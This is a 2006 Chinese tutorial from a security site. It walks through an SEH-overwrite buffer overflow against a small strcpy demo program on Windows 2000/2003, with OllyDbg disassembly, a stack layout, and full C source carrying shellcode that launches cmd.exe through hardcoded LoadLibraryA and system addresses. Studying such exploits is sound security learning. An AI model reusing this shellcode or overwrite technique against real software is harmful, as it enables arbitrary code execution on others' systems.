登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 漏洞分析 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

利用异常处理执行shellcode实例
发表日期:2006-10-14作者:kgdiwss (kgdiwss_at_163.com)[转贴] 出处:安全焦点  

在《Q版缓冲区溢出教程》中有一个例子,如下:

#include <stdio.h>
#include <string.h>
char name[] =
"\x41\x41\x41\x41"       //name[0] - name[3]  
"\x41\x41\x41\x41"       //name[4] - name[7]  
"\x41\x41\x41\x41"       //ebp
"\x12\x45\xfa\x7f"         //通用jmp esp地址: 7ffa4512

/* 以下shellcode将开启一个cmd. */
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x60\x1e\x80\x7c"  //2003 sp1上LoadLibraryA地址:0x7c801e60
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\x83\xa0\xb8\x77"  //2003 sp1上system地址:0x77b8a083
"\xFF\xD0";

int main()
{


char output[8];
int i;

strcpy(output, name);

for(i=0; i<8 && output[i]; i++)
{

  printf("\\0x%x",output[i]);
}
printf("\n");
return 0;
}
    这里它用的是用jmp esp覆盖返回点的方法,即原保存eip地址的地方被覆盖成了jmp esp,当执行retn时,相当于执行:pop eip,jmp eip。也就是会把jmp esp的地址赋给eip,然后eip就会去执行jmp esp,而由于pop eip时栈顶指针往下(即高址方向)移了一字节,刚好指向我们的shellcode地址,所以jmp esp就会执行到我们的shellcode了。
    后来看了利用异常处理来执行shellcode的方法,很想找个机会实践实践,于是我对上面这个程序重新进行了分析,把原来jmp esp的溢出方式改成了jmp ebx方式,分析过程如下:

    首先将char name[]的值赋的长一点(具体多长我心里也没数),使其覆盖异常处理入口,用debug模式编译出程序,然后用OllyDbg V1.10反汇编,代码如下:

00401270 s>/$  55            push ebp
00401271   |.  8BEC          mov ebp,esp
00401273   |.  6A FF         push -1
00401275   |.  68 38014200   push strcpyFl.00420138
0040127A   |.  68 743F4000   push strcpyFl.00403F74           ;SE 句柄安装
0040127F   |.  64:A1 0000000>mov eax,dword ptr fs:[0]         ;此时栈顶值即为异常处理函数地址,即ESP=0012FFB4
00401285   |.  50            push eax
00401286   |.  64:8925 00000>mov dword ptr fs:[0],esp
0040128D   |.  83C4 F0       add esp,-10
00401290   |.  53            push ebx
00401291   |.  56            push esi
00401292   |.  57            push edi
00401293   |.  8965 E8       mov dword ptr ss:[ebp-18],esp

    为什么这里栈顶值就是异常处理入口呢?这里涉及到异常处理的一些原理,可以看看czy写的《利用SEH执行shellcode》,文章地址:http://elfhack.whitecell.org/chinesedocs/seh1.txt
    他文章写的有些难度,像我等菜鸟估计也不好懂,这里我将我自已的理解写出来,大家可以参考一下。他文章中提到,fs:[0]指向一个_EXCEPTION_REGISTRATION结构(我理解就是指向异常处理入口),这个_EXCEPTION_REGISTRATION结构如下:

struct _EXCEPTION_REGISTRATION
{
    前一个_EXCEPTION_REGISTRATION结构;
    异常处理函数入口;
}

    每个_EXCEPTION_REGISTRATION结构包括两个指针,前一个指针指向前一个_EXCEPTION_REGISTRATION,以形成一个链(如果不懂什么叫链可以看一下c语言版的数据结构)。后一个指针指向的是异常处理函数的地址。
    这里要提醒一点,异常处理入口和异常处理函数的地址是不同的,如下:

struct _EXCEPTION_REGISTRATION                <--地址1,这里对应的就是异常处理函数地址-4,即0012FFB0
{
    前一个_EXCEPTION_REGISTRATION结构;  <--地址2,这里的值和地址1是一样的
    异常处理函数入口;                                            <--地址3,这里对应的就是上面分析出来的0012FFB4
}

    异常处理入口指的是地址1,其实地址1和地址2的值是一样的,因为结构的地址其实就是结构中第一个成员的地点。
    异常处理函数的地址(地址3) = 前一个_EXCEPTION_REGISTRATION结构(地址2) + 4,为什么是加4呢?因为地址2是指针,占4个字节。

    前面说的fs:[0]指向一个_EXCEPTION_REGISTRATION结构,就是指fs:[0]指向地址1(也就是地址2),当发生异常的时候,会执行地址3指向的函数,我们要做的有两件事情,一是将地址1的值换成jmp 04,二是将地址3中的值换成jmp ebx。 jmp 04对应的值为:"04eb9090,所以也就是要将地1的值换成:04eb9090。而jmp ebx的通用地址是:0x7ffa1571,所以就是将地址3的值换成7ffa1571。

    接下来我们要做的就是找到返回点的地址(其实jmp esp例子中已经找过了)。

    继续跟踪,发现00401354处的call里执行的就是我们的代码,按F7跟进去。

00401354   |.  E8 ACFCFFFF   call strcpyFl.00401005

    这一句执行后,就会跳到下面:

00401005   /$ /E9 06000000   jmp strcpyFl.00401010
0040100A   |  |CC            int3
0040100B   |  |CC            int3
0040100C   |  |CC            int3
0040100D   |  |CC            int3
0040100E   |  |CC            int3
0040100F   |  |CC            int3
00401010   |> \55            push ebp
00401011   |.  8BEC          mov ebp,esp
00401013   |.  83EC 4C       sub esp,4C
00401016   |.  53            push ebx
00401017   |.  56            push esi
00401018   |.  57            push edi
00401019   |.  8D7D B4       lea edi,dword ptr ss:[ebp-4C]
0040101C   |.  B9 13000000   mov ecx,13
00401021   |.  B8 CCCCCCCC   mov eax,CCCCCCCC
00401026   |.  F3:AB         rep stos dword ptr es:[edi]
00401028   |.  68 98334200   push strcpyFl.00423398
0040102D   |.  8D45 F8       lea eax,dword ptr ss:[ebp-8]
00401030   |.  50            push eax
00401031   |.  E8 0A010000   call strcpyFl.00401140
00401036   |.  83C4 08       add esp,8
00401039   |.  C745 F4 00000>mov dword ptr ss:[ebp-C],0
00401040   |.  EB 09         jmp short strcpyFl.0040104B
00401042   |>  8B4D F4       /mov ecx,dword ptr ss:[ebp-C]
00401045   |.  83C1 01       |add ecx,1
00401048   |.  894D F4       |mov dword ptr ss:[ebp-C],ecx
0040104B   |>  837D F4 08     cmp dword ptr ss:[ebp-C],8
0040104F   |.  7D 24         |jge short strcpyFl.00401075
00401051   |.  8B55 F4       |mov edx,dword ptr ss:[ebp-C]
00401054   |.  0FBE4415 F8   |movsx eax,byte ptr ss:[ebp+edx-8]
00401059   |.  85C0          |test eax,eax
0040105B   |.  74 18         |je short strcpyFl.00401075
0040105D   |.  8B4D F4       |mov ecx,dword ptr ss:[ebp-C]
00401060   |.  0FBE540D F8   |movsx edx,byte ptr ss:[ebp+ecx-8]
00401065   |.  52            |push edx                                ; /Arg2
00401066   |.  68 20004200   |push strcpyFl.00420020                  ; |Arg1 = 00420020 ASCII "\0x%x"
0040106B   |.  E8 50000000   |call strcpyFl.004010C0                  ; \strcpyFl.004010C0
00401070   |.  83C4 08       |add esp,8
00401073   |.^ EB CD         \jmp short strcpyFl.00401042
00401075   |>  68 1C004200   push strcpyFl.0042001C                   ; /Arg1 = 0042001C
0040107A   |.  E8 41000000   call strcpyFl.004010C0                   ; \strcpyFl.004010C0
0040107F   |.  83C4 04       add esp,4
00401082   |.  33C0          xor eax,eax
00401084   |.  5F            pop edi
00401085   |.  5E            pop esi
00401086   |.  5B            pop ebx
00401087   |.  83C4 4C       add esp,4C
0040108A   |.  3BEC          cmp ebp,esp
0040108C   |.  E8 9F010000   call strcpyFl.00401230
00401091   |.  8BE5          mov esp,ebp
00401093   |.  5D            pop ebp
00401094   \.  C3            retn          ;这里是返回点,此时ESP=0012FF84,

    从上面分析可知,返回点地址为0012FF84,异常处理入口点为:0012FFB0,结合jmp esp例子,我们可以得到要覆盖的结果了:

"\x41\x41\x41\x41"       //name[0] - name[3]  
"\x41\x41\x41\x41"       //name[4] - name[7]  
"\x41\x41\x41\x41"       //ebp
"\x12\x45\xfa\x7f"         //通用jmp esp地址: 7ffa4512

"\x41\x41\x41\x41"      //从这里开始覆盖40个字节长度,就能达到异常处理入口处了    |
"\x41\x41\x41\x41"      //                                                                                                             |
...                                   //                                                                                                       40字节
"\x41\x41\x41\x41"      //                                                                                                             |
"\x41\x41\x41\x41"      //                                                                                                             |

"\x90\x90\xeb\x04"     //这里就是异常处理入口了,覆盖成:jmp 04
"\x71\x15\xfa\x7f"        //这里是异常处理函数地址,覆盖成jmp ebx的通用地址:7ffa1571

    从以上的shellcode也可以看出来,异常处理入口前面的字符长度为8+4+4+40=56字节。这前面的56字节我们可以用随意构造。最后成功溢出的代码如下:

/*
* strcpyFlow.c
* by:∮明天去要饭
* http://blog.csdn.net/kgdiwss
*/

#include <stdio.h>
#include <string.h>

char name[] =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcd"
//56个字节(前8字节为output[8]的长度,后48字节为溢出的长度)
"\x90\x90\xeb\x04"    //jmp 04
"\x71\x15\xfa\x7f"      //jmp ebx通用地址

//以下shellcode将开启一个cmd.
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x23\x80\xE7\x77"   //2000 sp0上LoadLibraryA地址:0x77E78023
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xAD\xAA\x01\x78"   //2000 sp0上system地址:0x7801AAAD
"\xFF\xD0";


int main()
{


char output[8];
int i;

strcpy(output, name);

for(i=0; i<8 && output[i]; i++)
{
  
  printf("\\0x%x",output[i]);
}
printf("\n");

return 0;
}

    此程序运行到返回点时,堆栈中的数据如下:

0012FF84   706F6E6D  <--返回点地址
0012FF88   74737271
0012FF8C   78777675
0012FF90   42417A79
0012FF94   46454443
0012FF98   4A494847
0012FF9C   4E4D4C4B
0012FFA0   5251504F
0012FFA4   56555453
0012FFA8   5A595857
0012FFAC   64636261
0012FFB0   04EB9090  <--指针到下一个 SEH 记录(异常处理入口,这里被覆盖成了jmp 04)
0012FFB4   7FFA1571  <--SE 句柄(异常处理函数地址这里被覆盖成了jmp ebx通用地址)
0012FFB8   33EC8B55  <--shellcode开始处
0012FFBC   505050C0

   本例代码在windows2000 sp0上溢出通过。
   虽然这只是一个小小的实验,但花了我好多天的时间, 本人在测试过程中遇到如下问题:
    1。异常处理函数地址我找不到。
    2。我将windwos2003上的shellcode用在了windows2000 sp0上,却忘了进行修改,后来跟踪时才发现其实已经执行我的shellcode了,只是由于system等函数地址不正确才会又提示异常。
    所以说菜鸟每走一步都是很辛苦的,当我早上溢出成功的时候,真的是非常的高兴。同时再一次验证了:人要靠自已这句话。在测试过程中当然也问了不少朋友,无论他们有没有能提供帮助,都非常感谢他们。
   另外就是本人初学溢出编程,所以文章中如果发现了错误,请告知本人,QQ:305725744,不胜感激。

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 利用异常处理执行shellcode实例

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00274